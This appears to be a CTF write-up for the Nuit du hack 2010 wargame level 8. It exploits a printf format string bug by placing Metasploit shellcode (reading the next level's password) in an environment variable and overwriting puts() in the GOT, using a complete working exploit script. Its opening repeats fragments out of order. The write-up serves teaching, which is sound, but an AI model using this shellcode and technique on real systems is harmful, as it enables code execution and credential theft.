this article is a resolution of the french "Nuit du hack 2010" wargame level 8 test. The vulnerability is a format string. Its resolution is a direct application of the method aborded in the article "tutorial exploitation format strings" available on infond.
french version available.
Let's see the stack with the format string %x:
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"
compile (remember, delete spaces in #include) :
add NOPs and inject in the environment variable:
find the address of the payload:
We will crush the function puts() entry in the Global Offset Table (GOT). Then, when puts() will be called, our payload will be executed.
To obtain the addresses in the GOT, here are 2 methods:
Let's see the puts() assembler code:
So we can write our payload address 0xaabbccdd at address 0x08049654
Here is a little script to find how many words there are on the stack over our string.
This script proposes too to add padding to align the address on a stack word.
[source] = 0xbffffe7d
n1-16 = 0x7d - 0x10 = 125 - 16 = 109
n2-n1 = 0x1fe - 0x7d = 510 - 125 = 385
n3-n2 = 0x2ff - 0x1fe = 767 - 510 = 257
n4-n3 = 0x3bf - 0x2ff = 959 - 767 = 192
- first one is about how many words there are over our string. Indeed, there number changes every day,
- second one is about the position of the first byte or our string. It changes sometimes. Then the addresses we push on the stack are not aligned anymore.
In our exploitation, the two parameters which deal with theses issues are [m] and [padding]. with our script /tmp/find.py we found that:
- [m] is around 101,
- [padding] is around "A".
So here is our string:
[m] = 101, [padding] = "A",
[m] = 101, [padding] = "AA",
[m] = 101, [padding] = "AAA",
[m] = 101, [padding] = "",
[m] = 100, [padding] = "A",
[m] = 100, [padding] = "AA",
[m] = 100, [padding] = "AAA",
[m] = 100, [padding] = "",
[m] = 102, [padding] = "A",
[m] = 102, [padding] = "AA",
[m] = 102, [padding] = "AAA",
[m] = 102, [padding] = "",
[m] = 099, [padding] = "A",
[m] = 099, [padding] = "AA" Bingo!
The system error log provides the wrong value read on the stack for our destination address [address] :
We see that there is one character too much, so [padding OK] = [padding tested] - A = "A"
tutoriel format string - http://www.bases-hacking.org/format-strings.html
printf - http://www.cplusplus.com/reference/clibrary/cstdio/printf/
french version available.
the vulnerability
Here is the source code:level8@srv-public:~$ cat level8.c
#include < stdio.h>
#include < stdlib.h>
// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int main(int argc, char *argv[])
{
if(argc < 2) {
printf("Empty login! \n");
exit(-1);
}
printf(argv[1]);
printf("\nNice to see you\n");
exit(0);
}
Let's see the stack with the format string %x:
level8@srv-public:~$ ./level8 $(perl -e 'print "%x-"x100')and let's confirm it is the stack using gdb:
bffff778-b7ea4c85-2-bffff7a4-bffff7b0-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff778-e6344107-cd429517-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff7a4-8048480-8048470-b7ff0fd0-bffff79c-b7ffc793-2-bffff890-bffff899-0-bffff9c6-bffff9d1-bffff9e1-bffffa02-bffffa15-bffffa21-bfffff11-bfffff27-bfffff54-bfffff65-bfffff75-bfffff8c-bfffff94-bfffffa6-bfffffb5-bfffffe8-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff88b-0-0-0-69000000-363836-656c2f2e-386c6576-2d782500-252d7825-78252d78-2d78252d-
Nice to see you
level8@srv-public:~$ gdb ./level8
(gdb) disassemble main
Dump of assembler code for function main:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x4,%esp
0x0804842a <+6>: cmpl $0x1,0x8(%ebp)
0x0804842e <+10>: jg 0x8048448
0x08048430 <+12>: movl $0x8048530,(%esp)
0x08048437 <+19>: call 0x8048350
0x0804843c <+24>: movl $0xffffffff,(%esp)
0x08048443 <+31>: call 0x8048360
0x08048448 <+36>: mov 0xc(%ebp),%eax
0x0804844b <+39>: add $0x4,%eax
0x0804844e <+42>: mov (%eax),%eax
0x08048450 <+44>: mov %eax,(%esp)
0x08048453 <+47>: call 0x8048340
0x08048458 <+52>: movl $0x804853e,(%esp)
0x0804845f <+59>: call 0x8048350
0x08048464 <+64>: movl $0x0,(%esp)
0x0804846b <+71>: call 0x8048360
End of assembler dump.
(gdb) break * main+52
Breakpoint 1 at 0x8048458
(gdb) r $(perl -e 'print "%x-"x100')
Starting program: /home/level8/level8 $(perl -e 'print "%x-"x100')
Breakpoint 1, 0x08048458 in main ()
(gdb) x/128x $esp
0xbffff6d4: 0xbffff876 0xbffff738 0xb7ea4c85 0x00000002
0xbffff6e4: 0xbffff764 0xbffff770 0xb7fe0b48 0x00000001
0xbffff6f4: 0x00000001 0x00000000 0x08048266 0xb7fd5ff4
0xbffff704: 0x08048480 0x08048370 0xbffff738 0x9479c0de
0xbffff714: 0xbf0c94ce 0x00000000 0x00000000 0x00000000
0xbffff724: 0xb7ff6270 0xb7ea4bad 0xb7ffeff4 0x00000002
0xbffff734: 0x08048370 0x00000000 0x08048391 0x08048424
payload
As for the previous tests, we use Metasploit to generate the payload.$ msfconsoleHere is the payload:
msf > use payload/linux/x86/exec
msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed
msf payload(exec) > set CMD "cat ../level9/passwd"
CMD => cat ../level9/passwd
msf payload(exec) > generate
# linux/x86/exec - 174 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level9/passwd
buf =
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72" +
"\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58" +
"\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42" +
"\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45" +
"\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70" +
"\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65" +
"\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53" +
"\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51" +
"\x48\x4d\x4f\x70\x41\x41"
"\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"
injection
We need the program getenvaddress (already used in level5, do not forget to delete spaces added to #include because of a bug in blogspot.com) :level6@srv-public:~$ vim /tmp/getenvaddress.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>
int main(int argc, char **argv) {
char *ptr;
ptr = getenv(argv[1]);
if( ptr == NULL )
printf("%s not found\n", argv[1]);
else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
return 0;
}
compile (remember, delete spaces in #include) :
level6@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c
add NOPs and inject in the environment variable:
export LOL=$(perl -e 'print "\x90"x200 . "\x89\xe6\xdd\xc0\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x46\x6b\x51\x48\x4e\x79\x42\x72\x50\x66\x43\x58\x44\x6d\x50\x63\x4c\x49\x4d\x37\x43\x58\x44\x6f\x50\x73\x51\x78\x43\x30\x51\x78\x46\x4f\x42\x42\x42\x49\x50\x6e\x4b\x39\x4b\x53\x50\x52\x48\x68\x45\x45\x47\x70\x45\x50\x47\x70\x45\x33\x45\x31\x44\x34\x45\x70\x46\x4e\x46\x4e\x46\x4f\x50\x6c\x45\x35\x50\x76\x50\x65\x50\x6c\x44\x79\x44\x6f\x42\x50\x50\x61\x50\x73\x42\x53\x50\x77\x50\x64\x45\x50\x43\x67\x46\x33\x4c\x49\x4b\x51\x48\x4d\x4f\x70\x41\x41"')
find the address of the payload:
level6@srv-public:~$ /tmp/getenvaddress LOLWe will use bffffe7d (32 bytes more, to jump into NOPs).
LOL found at bffffe5d
control the execution flow
We do not have any RET after function printf call. So we can not control the execution flow from the stack (no EIP saved on the stack). So we will use another writable address used by the program.replace a GOT entry
function puts() is called after function printf in main():(gdb) disassemble main
(...)
0x08048450 <+44>: mov %eax,(%esp)
0x08048453 <+47>: call 0x8048340 <printf@plt>
0x08048458 <+52>: movl $0x804853e,(%esp)
0x0804845f <+59>: call 0x8048350 <puts@plt>
0x08048464 <+64>: movl $0x0,(%esp)
0x0804846b <+71>: call 0x8048360
We will crush the function puts() entry in the Global Offset Table (GOT). Then, when puts() will be called, our payload will be executed.
To obtain the addresses in the GOT, here are 2 methods:
method 1: with objdump
level8@srv-public:~$ objdump -s -j .got.plt ./level8
./level8: file format elf32-i386
Contents of section .got.plt:
804963c 68950408 00000000 00000000 26830408 h...........&...
804964c 36830408 46830408 56830408 66830408 6...F...V...f...
level8@srv-public:~$ objdump -R ./level8
./level8: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049638 R_386_GLOB_DAT __gmon_start__
08049648 R_386_JUMP_SLOT __gmon_start__
0804964c R_386_JUMP_SLOT __libc_start_main
08049650 R_386_JUMP_SLOT printf
08049654 R_386_JUMP_SLOT puts
08049658 R_386_JUMP_SLOT exit
method 2: with gdb
Let's see the puts() assembler code:
(gdb) disassemble putsThe instruction jmp *0x8049654 is interesting because it is an entry in the GOT:
Dump of assembler code for function puts@plt:
0x08048350 <+0>: jmp *0x8049654
0x08048356 <+6>: push $0x18
0x0804835b <+11>: jmp 0x8048310
End of assembler dump.
(gdb) x/x 0x08049654
0x8049654 <_GLOBAL_OFFSET_TABLE_+24>: 0x08048356
So we can write our payload address 0xaabbccdd at address 0x08049654
find how many words there are over our string on the stack
Here is a little script to find how many words there are on the stack over our string.
This script proposes too to add padding to align the address on a stack word.
level8@srv-public:~$ cat /tmp/find.py
#!/bin/python
import subprocess
padding = ''
while True:
p = subprocess.Popen('/bin/sh',stdin=subprocess.PIPE,stdout=subprocess.PIPE)
cmd = "/home/level8/level8 " + "AAAA" + padding + "-%x"*110 + " | grep 4141"
stack = p.communicate(cmd)[0]
index = stack.find('-41414141')
if index != -1:
break
padding += 'B'
print stack
print "number of words up to our string (dec): "
print stack.count('-',0,index)
print "padding added: '" + padding +"'"
level8@srv-public:~$ python /tmp/find.py
AAAAB-bffff728-b7ea4c85-2-bffff754-bffff760-b7fe0b48-1-1-0-8048266-b7fd5ff4-8048480-8048370-bffff728-724fa0f2-593a94e2-0-0-0-b7ff6270-b7ea4bad-b7ffeff4-2-8048370-0-8048391-8048424-2-bffff754-8048480-8048470-b7ff0fd0-bffff74c-b7ffc793-2-bffff848-bffff85c-0-bffff9ac-bffff9bc-bffff9c7-bffff9ea-bffff9fd-bffffa09-bffffef9-bfffff26-bfffff3c-bfffff52-bfffff63-bfffff73-bfffff8a-bfffff9c-bfffffa4-bfffffb3-0-20-b7fe1414-21-b7fe1000-10-febfbff-6-1000-11-64-3-8048034-4-20-5-7-7-b7fe2000-8-0-9-8048370-b-3f0-c-3f1-d-3f0-e-3f0-17-1-f-bffff83b-0-0-0-69000000-363836-0-0-6d6f682f-656c2f65-386c6576-76656c2f-386c65-41414141-78252d42-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d
number of words up to our string (dec):
101
padding added: 'B'
calculate [ni]
We want:[address+3][address+2][address+1][address]%1$[n1 - 16]x%[m+1]$n%1$[n2-n1]x%[m+2]$n%1$[n3-n2]x%[m+3]$n%1$[n4-n3]x%[m+4]$n[padding][address] = "\x54\x96\x04\x08"
[source] = 0xbffffe7d
n1-16 = 0x7d - 0x10 = 125 - 16 = 109
n2-n1 = 0x1fe - 0x7d = 510 - 125 = 385
n3-n2 = 0x2ff - 0x1fe = 767 - 510 = 257
n4-n3 = 0x3bf - 0x2ff = 959 - 767 = 192
exploitation
We still have two more difficulties to pass, because of variations in the stack organisation each time we run the program level8:- first one is about how many words there are over our string. Indeed, there number changes every day,
- second one is about the position of the first byte or our string. It changes sometimes. Then the addresses we push on the stack are not aligned anymore.
In our exploitation, the two parameters which deal with theses issues are [m] and [padding]. with our script /tmp/find.py we found that:
- [m] is around 101,
- [padding] is around "A".
So here is our string:
level8@srv-public:~$ cat /tmp/solution.pyBut it does not work:
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"
# m = 101
m1 = "00102"
m2 = "00103"
m3 = "00104"
m4 = "00105"
padding = "A"
print address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + padding
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
Erreur de segmentation
1st method , manually:
As we have less than 15 attempts to do, let's do it manually:[m] = 101, [padding] = "A",
[m] = 101, [padding] = "AA",
[m] = 101, [padding] = "AAA",
[m] = 101, [padding] = "",
[m] = 100, [padding] = "A",
[m] = 100, [padding] = "AA",
[m] = 100, [padding] = "AAA",
[m] = 100, [padding] = "",
[m] = 102, [padding] = "A",
[m] = 102, [padding] = "AA",
[m] = 102, [padding] = "AAA",
[m] = 102, [padding] = "",
[m] = 099, [padding] = "A",
[m] = 099, [padding] = "AA" Bingo!
2nd method , counting:
It is possible to see what the stack looks like aproximatly with gdb. This helps us to set [m] and [padding].The system error log provides the wrong value read on the stack for our destination address [address] :
level8@srv-public:~$ dmesg | grep level8 | sed -n '$p'The exploitation stack is approximatly like:
[102243.163546] level8[3236]: segfault at 386c65 ip b7ecfa30 sp bfffe148 error 6 in libc-2.11.1.so[b7e8e000+146000]
level8@srv-public:~$ gdb ./level80x00386c65 is one word before our target address 0x08049654. So [m OK] = [m tested] -1 = "100"
(gdb) break * printf
Breakpoint 1 at 0x8048340
(gdb) run $(python /tmp/solution.py)
Starting program: /home/level8/level8 $(python /tmp/solution.py)
Breakpoint 1, 0xb7ed6060 in printf () from /lib/i686/cmov/libc.so.6
(gdb) x/144x $esp
(...)
0xbffff790: 0x0000000f 0xbffff7ab 0x00000000 0x00000000
0xbffff7a0: 0x00000000 0x00000000 0x69000000 0x00363836
0xbffff7b0: 0x00000000 0x00000000 0x00000000 0x6f682f00
0xbffff7c0: 0x6c2f656d 0x6c657665 0x656c2f38 0x386c6576
0xbffff7d0: 0x04965400 0x04965508 0x04965608 0x04965708
0xbffff7e0: 0x24312508 0x39303130 0x30302578 0x24303031
0xbffff7f0: 0x2431256e 0x35383330 0x30302578 0x24313031
0xbffff800: 0x2431256e 0x37353230 0x30302578 0x24323031
0xbffff810: 0x2431256e 0x32393130 0x30302578 0x24333031
0xbffff820: 0x0041416e 0x4c454853 0x622f3d4c 0x622f6e69
0xbffff830: 0x00687361 0x4d524554 0x6574783d 0x53006d72
0xbffff840: 0x435f4853 0x4e45494c 0x33383d54 0x3530322e
0xbffff850: 0x3131312e 0x3031312e 0x38383420 0x32203430
We see that there is one character too much, so [padding OK] = [padding tested] - A = "A"
solution (at the date of writing):
So here is the solution which works today:level8@srv-public:~$ cat /tmp/solution.py
#!/bin/python
address3 = "\x57\x96\x04\x08"
address2 = "\x56\x96\x04\x08"
address1 = "\x55\x96\x04\x08"
address = "\x54\x96\x04\x08"
n1_16 = "0109"
n2_n1 = "0385"
n3_n2 = "0257"
n4_n3 = "0192"
m1 = "00100"
m2 = "00101"
m3 = "00102"
m4 = "00103"
print address + address1 + address2 + address3 + "%1$" + n1_16 + "x" + "%" + m1 + "$n" + "%1$" + n2_n1 + "x" + "%" + m2 + "$n" + "%1$" + n3_n2 + "x" + "%" + m3 + "$n" + "%1$" + n4_n3 + "x" + "%" + m4 + "$n" + "AA"
level8@srv-public:~$ ./level8 $(python /tmp/solution.py)
MOT DE PASSE
references
tutorial format string - http://infond.blogspot.comtutoriel format string - http://www.bases-hacking.org/format-strings.html
printf - http://www.cplusplus.com/reference/clibrary/cstdio/printf/
Aucun commentaire:
Enregistrer un commentaire